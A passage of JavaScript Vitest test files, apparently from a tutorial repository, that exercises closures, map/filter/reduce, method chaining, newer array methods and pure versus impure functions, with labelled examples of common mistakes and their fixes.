Below min expect(isValidRating(6)).toBe(false) // Above max }) }) describe('Closures with higher-order functions', () => { it('should create independent counters', () => { function createCounter(start = 0) { let count = start return function() { count++ return count } } const counter1 = createCounter() const counter2 = createCounter(100) expect(counter1()).toBe(1) expect(counter1()).toBe(2) expect(counter1()).toBe(3) expect(counter2()).toBe(101) expect(counter2()).toBe(102) // counter1 should not be affected by counter2 expect(counter1()).toBe(4) }) it('should create private state with closures', () => { function createBankAccount(initialBalance) { let balance = initialBalance return { deposit(amount) { if (amount > 0) { balance += amount return balance } return balance }, withdraw(amount) { if (amount > 0 && amount <= balance) { balance -= amount return balance } return 'Insufficient funds' }, getBalance() { return balance } } } const account = createBankAccount(100) expect(account.getBalance()).toBe(100) expect(account.deposit(50)).toBe(150) expect(account.withdraw(30)).toBe(120) expect(account.withdraw(200)).toBe('Insufficient funds') expect(account.getBalance()).toBe(120) // balance is not directly accessible expect(account.balance).toBeUndefined() }) }) describe('Common mistakes', () => { it('should demonstrate the parseInt gotcha with map', () => { // This is the WRONG way - demonstrates the bug const buggyResult = ['1', '2', '3'].map(parseInt) // parseInt receives (string, index) from map // parseInt('1', 0) → 1 (radix 0 is treated as 10) // parseInt('2', 1) → NaN (radix 1 is invalid) // parseInt('3', 2) → NaN (3 is not valid in binary) expect(buggyResult).toEqual([1, NaN, NaN]) // The CORRECT way const correctResult = ['1', '2', '3'].map(str => parseInt(str, 10)) expect(correctResult).toEqual([1, 2, 3]) // Alternative correct way using Number const alternativeResult = ['1', '2', '3'].map(Number) expect(alternativeResult).toEqual([1, 2, 3]) }) it('should demonstrate losing this context', () => { const user = { name: 'Alice', greet() { // Using optional chaining to handle undefined 'this' safely return `Hello, I'm ${this?.name ?? 'undefined'}` } } // Direct call works expect(user.greet()).toBe("Hello, I'm Alice") // Passing as callback loses 'this' function callLater(fn) { return fn() } // This fails because 'this' is lost (undefined in strict mode) const lostThis = callLater(user.greet) expect(lostThis).toBe("Hello, I'm undefined") // Fix with bind const boundGreet = callLater(user.greet.bind(user)) expect(boundGreet).toBe("Hello, I'm Alice") // Fix with arrow function wrapper const wrappedGreet = callLater(() => user.greet()) expect(wrappedGreet).toBe("Hello, I'm Alice") }) it('should show difference between map and forEach return values', () => { const numbers = [1, 2, 3] // map returns a new array const mapResult = numbers.map(n => n * 2) expect(mapResult).toEqual([2, 4, 6]) // forEach returns undefined const forEachResult = numbers.forEach(n => n * 2) expect(forEachResult).toBeUndefined() }) }) describe('First-class functions', () => { it('should allow assigning functions to variables', () => { const greet = function(name) { return `Hello, ${name}!` } const add = (a, b) => a + b expect(greet('Alice')).toBe('Hello, Alice!') expect(add(2, 3)).toBe(5) }) it('should allow passing functions as arguments', () => { function callWith5(fn) { return fn(5) } expect(callWith5(n => n * 2)).toBe(10) expect(callWith5(n => n + 3)).toBe(8) expect(callWith5(Math.sqrt)).toBeCloseTo(2.236, 2) }) it('should allow returning functions from functions', () => { function createAdder(x) { return function(y) { return x + y } } const add5 = createAdder(5) const add10 = createAdder(10) expect(add5(3)).toBe(8) expect(add10(3)).toBe(13) }) }) describe('Built-in higher-order functions (overview)', () => { const numbers = [1, 2, 3, 4, 5] it('should use forEach for side effects', () => { const results = [] const returnValue = numbers.forEach(n => results.push(n * 2)) expect(results).toEqual([2, 4, 6, 8, 10]) expect(returnValue).toBeUndefined() }) it('should use map for transformations', () => { const doubled = numbers.map(n => n * 2) expect(doubled).toEqual([2, 4, 6, 8, 10]) expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged }) it('should use filter for selection', () => { const evens = numbers.filter(n => n % 2 === 0) const greaterThan3 = numbers.filter(n => n > 3) expect(evens).toEqual([2, 4]) expect(greaterThan3).toEqual([4, 5]) }) it('should use reduce for accumulation', () => { const sum = numbers.reduce((acc, n) => acc + n, 0) const product = numbers.reduce((acc, n) => acc * n, 1) expect(sum).toBe(15) expect(product).toBe(120) }) it('should use find to get first matching element', () => { const firstEven = numbers.find(n => n % 2 === 0) const firstGreaterThan10 = numbers.find(n => n > 10) expect(firstEven).toBe(2) expect(firstGreaterThan10).toBeUndefined() }) it('should use some to test if any element matches', () => { const hasEven = numbers.some(n => n % 2 === 0) const hasNegative = numbers.some(n => n < 0) expect(hasEven).toBe(true) expect(hasNegative).toBe(false) }) it('should use every to test if all elements match', () => { const allPositive = numbers.every(n => n > 0) const allEven = numbers.every(n => n % 2 === 0) expect(allPositive).toBe(true) expect(allEven).toBe(false) }) it('should use sort with a comparator function', () => { const unsorted = [3, 1, 4, 1, 5, 9, 2, 6] // Ascending order const ascending = [...unsorted].sort((a, b) => a - b) expect(ascending).toEqual([1, 1, 2, 3, 4, 5, 6, 9]) // Descending order const descending = [...unsorted].sort((a, b) => b - a) expect(descending).toEqual([9, 6, 5, 4, 3, 2, 1, 1]) }) }) }) ================================================ FILE: tests/functional-programming/map-reduce-filter/map-reduce-filter.test.js ================================================ import { describe, it, expect } from 'vitest' describe('map, reduce, filter', () => { describe('map()', () => { it('should transform every element in the array', () => { const numbers = [1, 2, 3, 4] const doubled = numbers.map(n => n * 2) expect(doubled).toEqual([2, 4, 6, 8]) }) it('should not mutate the original array', () => { const original = [1, 2, 3] const mapped = original.map(n => n * 10) expect(original).toEqual([1, 2, 3]) expect(mapped).toEqual([10, 20, 30]) }) it('should pass element, index, and array to callback', () => { const letters = ['a', 'b', 'c'] const result = letters.map((letter, index, arr) => ({ letter, index, arrayLength: arr.length })) expect(result).toEqual([ { letter: 'a', index: 0, arrayLength: 3 }, { letter: 'b', index: 1, arrayLength: 3 }, { letter: 'c', index: 2, arrayLength: 3 } ]) }) it('should return undefined for elements when callback has no return', () => { const numbers = [1, 2, 3] const result = numbers.map(n => { n * 2 // No return statement }) expect(result).toEqual([undefined, undefined, undefined]) }) it('demonstrates the parseInt pitfall', () => { const strings = ['1', '2', '3'] // The pitfall: parseInt receives (element, index, array) // So it becomes parseInt('1', 0), parseInt('2', 1), parseInt('3', 2) const wrongResult = strings.map(parseInt) expect(wrongResult).toEqual([1, NaN, NaN]) // The fix: wrap in arrow function or use Number const correctResult1 = strings.map(str => parseInt(str, 10)) expect(correctResult1).toEqual([1, 2, 3]) const correctResult2 = strings.map(Number) expect(correctResult2).toEqual([1, 2, 3]) }) it('should extract properties from objects', () => { const users = [ { id: 1, name: 'Alice' }, { id: 2, name: 'Bob' } ] const names = users.map(user => user.name) expect(names).toEqual(['Alice', 'Bob']) }) it('should transform object shapes', () => { const users = [ { firstName: 'Alice', lastName: 'Smith' }, { firstName: 'Bob', lastName: 'Jones' } ] const fullNames = users.map(user => ({ fullName: `${user.firstName} ${user.lastName}` })) expect(fullNames).toEqual([ { fullName: 'Alice Smith' }, { fullName: 'Bob Jones' } ]) }) it('should convert strings to uppercase', () => { const words = ['hello', 'world'] const shouting = words.map(word => word.toUpperCase()) expect(shouting).toEqual(['HELLO', 'WORLD']) }) it('should square each number', () => { const numbers = [1, 2, 3, 4, 5] const squares = numbers.map(n => n * n) expect(squares).toEqual([1, 4, 9, 16, 25]) }) it('should add index prefix to each letter', () => { const letters = ['a', 'b', 'c', 'd'] const indexed = letters.map((letter, index) => `${index}: ${letter}`) expect(indexed).toEqual(['0: a', '1: b', '2: c', '3: d']) }) it('should create objects with sequential IDs from items', () => { const items = ['apple', 'banana', 'cherry'] const products = items.map((name, index) => ({ id: index + 1, name })) expect(products).toEqual([ { id: 1, name: 'apple' }, { id: 2, name: 'banana' }, { id: 3, name: 'cherry' } ]) }) }) describe('filter()', () => { it('should keep elements that pass the test', () => { const numbers = [1, 2, 3, 4, 5, 6] const evens = numbers.filter(n => n % 2 === 0) expect(evens).toEqual([2, 4, 6]) }) it('should return empty array when no elements match', () => { const numbers = [1, 3, 5, 7] const evens = numbers.filter(n => n % 2 === 0) expect(evens).toEqual([]) }) it('should not mutate the original array', () => { const original = [1, 2, 3, 4, 5] const filtered = original.filter(n => n > 3) expect(original).toEqual([1, 2, 3, 4, 5]) expect(filtered).toEqual([4, 5]) }) it('should evaluate truthy/falsy values correctly', () => { const mixed = [0, 1, '', 'hello', null, undefined, false, true] const truthy = mixed.filter(Boolean) expect(truthy).toEqual([1, 'hello', true]) }) it('should filter objects by property', () => { const users = [ { name: 'Alice', active: true }, { name: 'Bob', active: false }, { name: 'Charlie', active: true } ] const activeUsers = users.filter(user => user.active) expect(activeUsers).toEqual([ { name: 'Alice', active: true }, { name: 'Charlie', active: true } ]) }) it('demonstrates filter vs find', () => { const numbers = [1, 2, 3, 4, 5, 6] // filter returns ALL matches as an array const allEvens = numbers.filter(n => n % 2 === 0) expect(allEvens).toEqual([2, 4, 6]) // find returns the FIRST match (not an array) const firstEven = numbers.find(n => n % 2 === 0) expect(firstEven).toBe(2) }) it('should support multiple conditions', () => { const products = [ { name: 'Laptop', price: 1000, inStock: true }, { name: 'Phone', price: 500, inStock: false }, { name: 'Tablet', price: 300, inStock: true } ] const affordableInStock = products.filter( p => p.inStock && p.price < 500 ) expect(affordableInStock).toEqual([ { name: 'Tablet', price: 300, inStock: true } ]) }) it('should keep only odd numbers', () => { const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] const odds = numbers.filter(n => n % 2 !== 0) expect(odds).toEqual([1, 3, 5, 7, 9]) }) it('should keep numbers greater than threshold', () => { const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] const big = numbers.filter(n => n > 5) expect(big).toEqual([6, 7, 8, 9, 10]) }) it('should keep numbers in a range', () => { const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] const middle = numbers.filter(n => n >= 3 && n <= 7) expect(middle).toEqual([3, 4, 5, 6, 7]) }) it('should search products by name case-insensitively', () => { const products = [ { name: 'MacBook Pro', category: 'laptops', price: 2000 }, { name: 'iPhone', category: 'phones', price: 1000 }, { name: 'iPad', category: 'tablets', price: 800 }, { name: 'Dell XPS', category: 'laptops', price: 1500 } ] const searchTerm = 'mac' const results = products.filter(p => p.name.toLowerCase().includes(searchTerm.toLowerCase()) ) expect(results).toEqual([ { name: 'MacBook Pro', category: 'laptops', price: 2000 } ]) }) it('should filter products by category', () => { const products = [ { name: 'MacBook Pro', category: 'laptops', price: 2000 }, { name: 'iPhone', category: 'phones', price: 1000 }, { name: 'iPad', category: 'tablets', price: 800 }, { name: 'Dell XPS', category: 'laptops', price: 1500 } ] const laptops = products.filter(p => p.category === 'laptops') expect(laptops).toEqual([ { name: 'MacBook Pro', category: 'laptops', price: 2000 }, { name: 'Dell XPS', category: 'laptops', price: 1500 } ]) }) it('should filter products by price range', () => { const products = [ { name: 'MacBook Pro', category: 'laptops', price: 2000 }, { name: 'iPhone', category: 'phones', price: 1000 }, { name: 'iPad', category: 'tablets', price: 800 }, { name: 'Dell XPS', category: 'laptops', price: 1500 } ] const affordable = products.filter(p => p.price <= 1000) expect(affordable).toEqual([ { name: 'iPhone', category: 'phones', price: 1000 }, { name: 'iPad', category: 'tablets', price: 800 } ]) }) }) describe('reduce()', () => { it('should combine array elements into a single value', () => { const numbers = [1, 2, 3, 4, 5] const sum = numbers.reduce((acc, n) => acc + n, 0) expect(sum).toBe(15) }) it('should use initial value as starting accumulator', () => { const numbers = [1, 2, 3] const sumStartingAt10 = numbers.reduce((acc, n) => acc + n, 10) expect(sumStartingAt10).toBe(16) // 10 + 1 + 2 + 3 }) it('should throw on empty array without initial value', () => { const empty = [] expect(() => { empty.reduce((acc, n) => acc + n) }).toThrow(TypeError) }) it('should return initial value for empty array', () => { const empty = [] const result = empty.reduce((acc, n) => acc + n, 0) expect(result).toBe(0) }) it('should count occurrences', () => { const fruits = ['apple', 'banana', 'apple', 'orange', 'banana', 'apple'] const count = fruits.reduce((acc, fruit) => { acc[fruit] = (acc[fruit] || 0) + 1 return acc }, {}) expect(count).toEqual({ apple: 3, banana: 2, orange: 1 }) }) it('should group by property', () => { const people = [ { name: 'Alice', department: 'Engineering' }, { name: 'Bob', department: 'Marketing' }, { name: 'Charlie', department: 'Engineering' } ] const byDepartment = people.reduce((acc, person) => { const dept = person.department if (!acc[dept]) { acc[dept] = [] } acc[dept].push(person.name) return acc }, {}) expect(byDepartment).toEqual({ Engineering: ['Alice', 'Charlie'], Marketing: ['Bob'] }) }) it('should build objects from arrays', () => { const pairs = [['a', 1], ['b', 2], ['c', 3]] const obj = pairs.reduce((acc, [key, value]) => { acc[key] = value return acc }, {}) expect(obj).toEqual({ a: 1, b: 2, c: 3 }) }) it('can implement map with reduce', () => { const numbers = [1, 2, 3, 4] const doubled = numbers.reduce((acc, n) => { acc.push(n * 2) return acc }, []) expect(doubled).toEqual([2, 4, 6, 8]) }) it('can implement filter with reduce', () => { const numbers = [1, 2, 3, 4, 5, 6] const evens = numbers.reduce((acc, n) => { if (n % 2 === 0) { acc.push(n) } return acc }, []) expect(evens).toEqual([2, 4, 6]) }) it('should calculate average', () => { const numbers = [10, 20, 30, 40, 50] const sum = numbers.reduce((acc, n) => acc + n, 0) const average = sum / numbers.length expect(average).toBe(30) }) it('should find max value', () => { const numbers = [5, 2, 9, 1, 7] const max = numbers.reduce((acc, n) => n > acc ? n : acc, numbers[0]) expect(max).toBe(9) }) it('should find minimum value', () => { const numbers = [5, 2, 9, 1, 7] const min = numbers.reduce((acc, n) => n < acc ? n : acc, numbers[0]) expect(min).toBe(1) }) it('should flatten nested arrays with reduce', () => { const nested = [[1, 2], [3, 4], [5, 6]] const flat = nested.reduce((acc, arr) => acc.concat(arr), []) expect(flat).toEqual([1, 2, 3, 4, 5, 6]) }) it('should implement myMap using reduce inline', () => { const array = [1, 2, 3] const callback = n => n * 2 // myMap implementation from concept page const result = array.reduce((acc, element, index) => { acc.push(callback(element, index, array)) return acc }, []) expect(result).toEqual([2, 4, 6]) }) }) describe('Method Chaining', () => { it('should chain filter → map → reduce', () => { const products = [ { name: 'Laptop', price: 1000, inStock: true }, { name: 'Phone', price: 500, inStock: false }, { name: 'Tablet', price: 300, inStock: true }, { name: 'Watch', price: 200, inStock: true } ] const totalInStock = products .filter(p => p.inStock) .map(p => p.price) .reduce((sum, price) => sum + price, 0) expect(totalInStock).toBe(1500) }) it('demonstrates real-world data pipeline', () => { const transactions = [ { type: 'sale', amount: 100 }, { type: 'refund', amount: 30 }, { type: 'sale', amount: 200 }, { type: 'sale', amount: 150 }, { type: 'refund', amount: 50 } ] // Calculate total sales (not refunds) const totalSales = transactions .filter(t => t.type === 'sale') .map(t => t.amount) .reduce((sum, amount) => sum + amount, 0) expect(totalSales).toBe(450) // Calculate net (sales - refunds) const net = transactions.reduce((acc, t) => { return t.type === 'sale' ? acc + t.amount : acc - t.amount }, 0) expect(net).toBe(370) // 450 - 80 }) it('should get active premium users emails', () => { const users = [ { email: 'alice@example.com', active: true, plan: 'premium' }, { email: 'bob@example.com', active: false, plan: 'premium' }, { email: 'charlie@example.com', active: true, plan: 'free' }, { email: 'diana@example.com', active: true, plan: 'premium' } ] const premiumEmails = users .filter(u => u.active) .filter(u => u.plan === 'premium') .map(u => u.email) expect(premiumEmails).toEqual([ 'alice@example.com', 'diana@example.com' ]) }) it('should calculate cart total with discounts', () => { const cart = [ { name: 'Laptop', price: 1000, quantity: 1, discountPercent: 10 }, { name: 'Mouse', price: 50, quantity: 2, discountPercent: 0 }, { name: 'Keyboard', price: 100, quantity: 1, discountPercent: 20 } ] const total = cart .map(item => { const subtotal = item.price * item.quantity const discount = subtotal * (item.discountPercent / 100) return subtotal - discount }) .reduce((sum, price) => sum + price, 0) // Laptop: 1000 * 1 - 10% = 900 // Mouse: 50 * 2 - 0% = 100 // Keyboard: 100 * 1 - 20% = 80 // Total: 900 + 100 + 80 = 1080 expect(total).toBe(1080) }) it('should get top 3 performers sorted by sales', () => { const salespeople = [ { name: 'Alice', sales: 50000 }, { name: 'Bob', sales: 75000 }, { name: 'Charlie', sales: 45000 }, { name: 'Diana', sales: 90000 }, { name: 'Eve', sales: 60000 } ] const top3 = salespeople .filter(p => p.sales >= 50000) .sort((a, b) => b.sales - a.sales) .slice(0, 3) .map(p => p.name) expect(top3).toEqual(['Diana', 'Bob', 'Eve']) }) }) describe('Other Array Methods', () => { it('find() returns first matching element', () => { const users = [ { id: 1, name: 'Alice' }, { id: 2, name: 'Bob' }, { id: 3, name: 'Charlie' } ] const bob = users.find(u => u.id === 2) expect(bob).toEqual({ id: 2, name: 'Bob' }) const notFound = users.find(u => u.id === 999) expect(notFound).toBeUndefined() }) it('some() returns true if any element matches', () => { const numbers = [1, 2, 3, 4, 5] expect(numbers.some(n => n > 4)).toBe(true) expect(numbers.some(n => n > 10)).toBe(false) }) it('every() returns true if all elements match', () => { const numbers = [2, 4, 6, 8] expect(numbers.every(n => n % 2 === 0)).toBe(true) expect(numbers.every(n => n > 5)).toBe(false) }) it('includes() checks for value membership', () => { const fruits = ['apple', 'banana', 'orange'] expect(fruits.includes('banana')).toBe(true) expect(fruits.includes('grape')).toBe(false) }) it('findIndex() returns index of first match', () => { const users = [ { id: 1, name: 'Alice' }, { id: 2, name: 'Bob' } ] const bobIndex = users.findIndex(u => u.name === 'Bob') expect(bobIndex).toBe(1) const notFoundIndex = users.findIndex(u => u.name === 'Eve') expect(notFoundIndex).toBe(-1) }) it('flat() flattens nested arrays', () => { const nested = [[1, 2], [3, 4], [5, 6]] expect(nested.flat()).toEqual([1, 2, 3, 4, 5, 6]) const deepNested = [1, [2, [3, [4]]]] expect(deepNested.flat(2)).toEqual([1, 2, 3, [4]]) expect(deepNested.flat(Infinity)).toEqual([1, 2, 3, 4]) }) it('flatMap() maps then flattens', () => { const sentences = ['hello world', 'foo bar'] const words = sentences.flatMap(s => s.split(' ')) expect(words).toEqual(['hello', 'world', 'foo', 'bar']) }) }) describe('Common Mistakes', () => { it('demonstrates mutation issue in map', () => { const users = [ { name: 'Alice', score: 85 }, { name: 'Bob', score: 92 } ] // ❌ WRONG: This mutates the original objects const mutated = users.map(user => { user.score += 5 // Mutates original! return user }) expect(users[0].score).toBe(90) // Original was mutated! // Reset for next test const users2 = [ { name: 'Alice', score: 85 }, { name: 'Bob', score: 92 } ] // ✓ CORRECT: Create new objects const notMutated = users2.map(user => ({ ...user, score: user.score + 5 })) expect(users2[0].score).toBe(85) // Original unchanged expect(notMutated[0].score).toBe(90) }) it('demonstrates reduce without initial value type issues', () => { const products = [ { name: 'Laptop', price: 1000 }, { name: 'Phone', price: 500 } ] // ❌ WRONG: Without initial value, first element becomes accumulator // This would try to add 500 to an object, resulting in string concatenation const wrongTotal = products.reduce((acc, p) => acc + p.price) expect(typeof wrongTotal).toBe('string') // "[object Object]500" // ✓ CORRECT: Provide initial value const correctTotal = products.reduce((acc, p) => acc + p.price, 0) expect(correctTotal).toBe(1500) }) it('demonstrates forgetting to return accumulator in reduce', () => { const numbers = [1, 2, 3, 4] // ❌ WRONG: No return const wrong = numbers.reduce((acc, n) => { acc + n // Missing return! }, 0) expect(wrong).toBeUndefined() // ✓ CORRECT: Return accumulator const correct = numbers.reduce((acc, n) => { return acc + n }, 0) expect(correct).toBe(10) }) it('shows filter+map is clearer than complex reduce', () => { const users = [ { name: 'Alice', active: true }, { name: 'Bob', active: false }, { name: 'Charlie', active: true } ] // Complex reduce approach const resultReduce = users.reduce((acc, user) => { if (user.active) { acc.push(user.name.toUpperCase()) } return acc }, []) // Clearer filter + map approach const resultFilterMap = users .filter(u => u.active) .map(u => u.name.toUpperCase()) // Both should produce the same result expect(resultReduce).toEqual(['ALICE', 'CHARLIE']) expect(resultFilterMap).toEqual(['ALICE', 'CHARLIE']) }) }) describe('Test Your Knowledge Examples', () => { it('Q6: filter evens, triple, sum equals 18', () => { const result = [1, 2, 3, 4, 5] .filter(n => n % 2 === 0) .map(n => n * 3) .reduce((sum, n) => sum + n, 0) // filter: [2, 4] // map: [6, 12] // reduce: 6 + 12 = 18 expect(result).toBe(18) }) }) describe('ES2023+ Array Methods', () => { it('reduceRight() reduces from right to left', () => { const letters = ['a', 'b', 'c'] const result = letters.reduceRight((acc, s) => acc + s, '') expect(result).toBe('cba') }) it('toSorted() returns sorted copy without mutating original', () => { const nums = [3, 1, 2] const sorted = nums.toSorted() expect(sorted).toEqual([1, 2, 3]) expect(nums).toEqual([3, 1, 2]) // Original unchanged }) it('toReversed() returns reversed copy without mutating original', () => { const nums = [1, 2, 3] const reversed = nums.toReversed() expect(reversed).toEqual([3, 2, 1]) expect(nums).toEqual([1, 2, 3]) // Original unchanged }) it('toSpliced() returns modified copy without mutating original', () => { const nums = [1, 2, 3, 4, 5] const spliced = nums.toSpliced(1, 2, 'a', 'b') expect(spliced).toEqual([1, 'a', 'b', 4, 5]) expect(nums).toEqual([1, 2, 3, 4, 5]) // Original unchanged }) it('Object.groupBy() groups elements by key (ES2024, Node 21+)', () => { // Skip test if Object.groupBy is not available (requires Node 21+) if (typeof Object.groupBy !== 'function') { console.log('Skipping: Object.groupBy not available in this Node version') return } const people = [ { name: 'Alice', department: 'Engineering' }, { name: 'Bob', department: 'Marketing' }, { name: 'Charlie', department: 'Engineering' } ] const byDepartment = Object.groupBy(people, person => person.department) expect(byDepartment.Engineering).toEqual([ { name: 'Alice', department: 'Engineering' }, { name: 'Charlie', department: 'Engineering' } ]) expect(byDepartment.Marketing).toEqual([ { name: 'Bob', department: 'Marketing' } ]) }) }) describe('Async Callbacks', () => { it('map with async returns array of Promises', async () => { const ids = [1, 2, 3] // Simulate async operation const asyncDouble = async (n) => n * 2 // Without Promise.all, you get Promises const promiseArray = ids.map(id => asyncDouble(id)) expect(promiseArray[0]).toBeInstanceOf(Promise) // With Promise.all, you get resolved values const results = await Promise.all(promiseArray) expect(results).toEqual([2, 4, 6]) }) it('async filter workaround using map then filter', async () => { const numbers = [1, 2, 3, 4, 5] // Simulate async predicate const asyncIsEven = async (n) => n % 2 === 0 // Step 1: Get boolean results for each element const checks = await Promise.all(numbers.map(n => asyncIsEven(n))) // Step 2: Filter using the boolean results const evens = numbers.filter((_, index) => checks[index]) expect(evens).toEqual([2, 4]) }) }) }) ================================================ FILE: tests/functional-programming/pure-functions/pure-functions.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Pure Functions', () => { describe('Rule 1: Same Input → Same Output', () => { it('should always return the same result for the same inputs', () => { // Pure function: deterministic function add(a, b) { return a + b } expect(add(2, 3)).toBe(5) expect(add(2, 3)).toBe(5) expect(add(2, 3)).toBe(5) // Always 5, no matter how many times we call it }) it('should demonstrate Math.max as a pure function', () => { // Math.max is pure: same inputs always give same output expect(Math.max(2, 8, 5)).toBe(8) expect(Math.max(2, 8, 5)).toBe(8) expect(Math.max(-1, -5, -2)).toBe(-1) }) it('should show how external state breaks purity', () => { // Impure: depends on external state let taxRate = 0.08 function calculateTotalImpure(price) { return price + price * taxRate } expect(calculateTotalImpure(100)).toBe(108) // Changing external state changes the result taxRate = 0.10 expect(calculateTotalImpure(100)).toBe(110) // Different! // Pure version: all dependencies are parameters function calculateTotalPure(price, rate) { return price + price * rate } expect(calculateTotalPure(100, 0.08)).toBe(108) expect(calculateTotalPure(100, 0.08)).toBe(108) // Always the same expect(calculateTotalPure(100, 0.10)).toBe(110) // Different input = different output (that's fine) }) it('should demonstrate that Math.random makes functions impure', () => { // ❌ IMPURE: Output depends on randomness function randomDouble(x) { return x * Math.random() } // Same input but (almost certainly) different outputs const results = new Set() for (let i = 0; i < 10; i++) { results.add(randomDouble(5)) } // With random, we get multiple different results for the same input expect(results.size).toBeGreaterThan(1) }) it('should demonstrate that Date makes functions impure', () => { // ❌ IMPURE: Output depends on when you call it function getGreeting(name) { const hour = new Date().getHours() if (hour < 12) return `Good morning, ${name}` return `Good afternoon, ${name}` } // The function works, but its output depends on external state (time) const result = getGreeting('Alice') expect(result).toMatch(/Good (morning|afternoon), Alice/) // To make it pure, pass the hour as a parameter function getGreetingPure(name, hour) { if (hour < 12) return `Good morning, ${name}` return `Good afternoon, ${name}` } // Now it's deterministic expect(getGreetingPure('Alice', 9)).toBe('Good morning, Alice') expect(getGreetingPure('Alice', 9)).toBe('Good morning, Alice') // Always same expect(getGreetingPure('Alice', 14)).toBe('Good afternoon, Alice') }) }) describe('Rule 2: No Side Effects', () => { it('should demonstrate addToTotal impure pattern from docs', () => { // ❌ IMPURE: Breaks rule 2 (has a side effect) let total = 0 function addToTotal(x) { total += x // Modifies external variable! return total } expect(addToTotal(5)).toBe(5) expect(addToTotal(5)).toBe(10) // Different result because total changed expect(addToTotal(5)).toBe(15) // Keeps changing! // The function modifies external state, making it impure expect(total).toBe(15) }) it('should demonstrate mutation as a side effect', () => { // Impure: mutates the input function addItemImpure(cart, item) { cart.push(item) return cart } const myCart = ['apple', 'banana'] const result = addItemImpure(myCart, 'orange') expect(myCart).toEqual(['apple', 'banana', 'orange']) // Original mutated! expect(result).toBe(myCart) // Same reference }) it('should show pure alternative that returns new array', () => { // Pure: returns new array, original unchanged function addItemPure(cart, item) { return [...cart, item] } const myCart = ['apple', 'banana'] const newCart = addItemPure(myCart, 'orange') expect(myCart).toEqual(['apple', 'banana']) // Original unchanged! expect(newCart).toEqual(['apple', 'banana', 'orange']) expect(myCart).not.toBe(newCart) // Different references }) it('should demonstrate external variable modification as a side effect', () => { let counter = 0 // Impure: modifies external variable function incrementImpure() { counter++ return counter } expect(incrementImpure()).toBe(1) expect(incrementImpure()).toBe(2) // Different result for same (no) input! expect(incrementImpure()).toBe(3) // Pure alternative function incrementPure(value) { return value + 1 } expect(incrementPure(0)).toBe(1) expect(incrementPure(0)).toBe(1) // Always the same expect(incrementPure(5)).toBe(6) }) it('should demonstrate processUser impure vs pure from docs', () => { // ❌ IMPURE: Multiple side effects let userCount = 0 const loginTime = new Date('2025-01-01T10:00:00') function processUserImpure(user) { user.lastLogin = loginTime // Side effect: mutates input userCount++ // Side effect: modifies external variable return user } const user1 = { name: 'Alice' } const result1 = processUserImpure(user1) expect(user1.lastLogin).toEqual(loginTime) // Original mutated! expect(userCount).toBe(1) // External state changed! expect(result1).toBe(user1) // Same reference // ✓ PURE: Returns new data, no side effects function processUserPure(user, loginTime) { return { ...user, lastLogin: loginTime } } const user2 = { name: 'Bob' } const result2 = processUserPure(user2, loginTime) expect(user2.lastLogin).toBe(undefined) // Original unchanged! expect(result2.lastLogin).toEqual(loginTime) expect(result2).not.toBe(user2) // Different reference expect(result2.name).toBe('Bob') }) }) describe('Identifying Pure vs Impure Functions', () => { it('should identify pure mathematical functions', () => { function double(x) { return x * 2 } function square(x) { return x * x } function hypotenuse(a, b) { return Math.sqrt(a * a + b * b) } // All pure: same inputs always give same outputs expect(double(5)).toBe(10) expect(square(4)).toBe(16) expect(hypotenuse(3, 4)).toBe(5) }) it('should identify pure string functions', () => { function formatName(name) { return name.trim().toLowerCase() } function greet(name, greeting) { return `${greeting}, ${name}!` } expect(formatName(' ALICE ')).toBe('alice') expect(formatName(' ALICE ')).toBe('alice') // Same result expect(greet('Bob', 'Hello')).toBe('Hello, Bob!') }) it('should identify pure validation functions', () => { function isValidEmail(email) { return email.includes('@') && email.includes('.') } function isPositive(num) { return num > 0 } expect(isValidEmail('test@example.com')).toBe(true) expect(isValidEmail('invalid')).toBe(false) expect(isPositive(5)).toBe(true) expect(isPositive(-3)).toBe(false) }) }) describe('Immutable Object Patterns', () => { it('should update object properties without mutation', () => { const user = { name: 'Alice', age: 25 } // Pure: returns new object function updateAge(user, newAge) { return { ...user, age: newAge } } const updatedUser = updateAge(user, 26) expect(user.age).toBe(25) // Original unchanged expect(updatedUser.age).toBe(26) expect(user).not.toBe(updatedUser) }) it('should add properties without mutation', () => { const product = { name: 'Widget', price: 10 } function addDiscount(product, discount) { return { ...product, discount } } const discountedProduct = addDiscount(product, 0.1) expect(product.discount).toBe(undefined) // Original unchanged expect(discountedProduct.discount).toBe(0.1) }) it('should remove properties without mutation', () => { const user = { name: 'Alice', age: 25, password: 'secret' } function removePassword(user) { const { password, ...rest } = user return rest } const safeUser = removePassword(user) expect(user.password).toBe('secret') // Original unchanged expect(safeUser.password).toBe(undefined) expect(safeUser).toEqual({ name: 'Alice', age: 25 }) }) }) describe('Immutable Array Patterns', () => { it('should add items without mutation', () => { const todos = ['Learn JS', 'Build app'] // Pure: returns new array function addTodo(todos, newTodo) { return [...todos, newTodo] } const newTodos = addTodo(todos, 'Deploy') expect(todos).toEqual(['Learn JS', 'Build app']) // Original unchanged expect(newTodos).toEqual(['Learn JS', 'Build app', 'Deploy']) }) it('should remove items without mutation', () => { const numbers = [1, 2, 3, 4, 5] // Pure: filter creates new array function removeItem(arr, index) { return arr.filter((_, i) => i !== index) } const result = removeItem(numbers, 2) // Remove item at index 2 expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged expect(result).toEqual([1, 2, 4, 5]) }) it('should update items without mutation', () => { const todos = [ { id: 1, text: 'Learn JS', done: false }, { id: 2, text: 'Build app', done: false } ] function completeTodo(todos, id) { return todos.map((todo) => (todo.id === id ? { ...todo, done: true } : todo)) } const updated = completeTodo(todos, 1) expect(todos[0].done).toBe(false) // Original unchanged expect(updated[0].done).toBe(true) expect(updated[1].done).toBe(false) }) it('should sort without mutation using spread', () => { const numbers = [3, 1, 4, 1, 5, 9, 2, 6] // Impure: sort mutates the original function sortImpure(arr) { return arr.sort((a, b) => a - b) } // Pure: copy first function sortPure(arr) { return [...arr].sort((a, b) => a - b) } const sorted = sortPure(numbers) expect(numbers).toEqual([3, 1, 4, 1, 5, 9, 2, 6]) // Original unchanged expect(sorted).toEqual([1, 1, 2, 3, 4, 5, 6, 9]) }) it('should use toSorted for non-mutating sort (ES2023)', () => { const numbers = [3, 1, 4, 1, 5] const sorted = numbers.toSorted((a, b) => a - b) expect(numbers).toEqual([3, 1, 4, 1, 5]) // Original unchanged expect(sorted).toEqual([1, 1, 3, 4, 5]) }) it('should 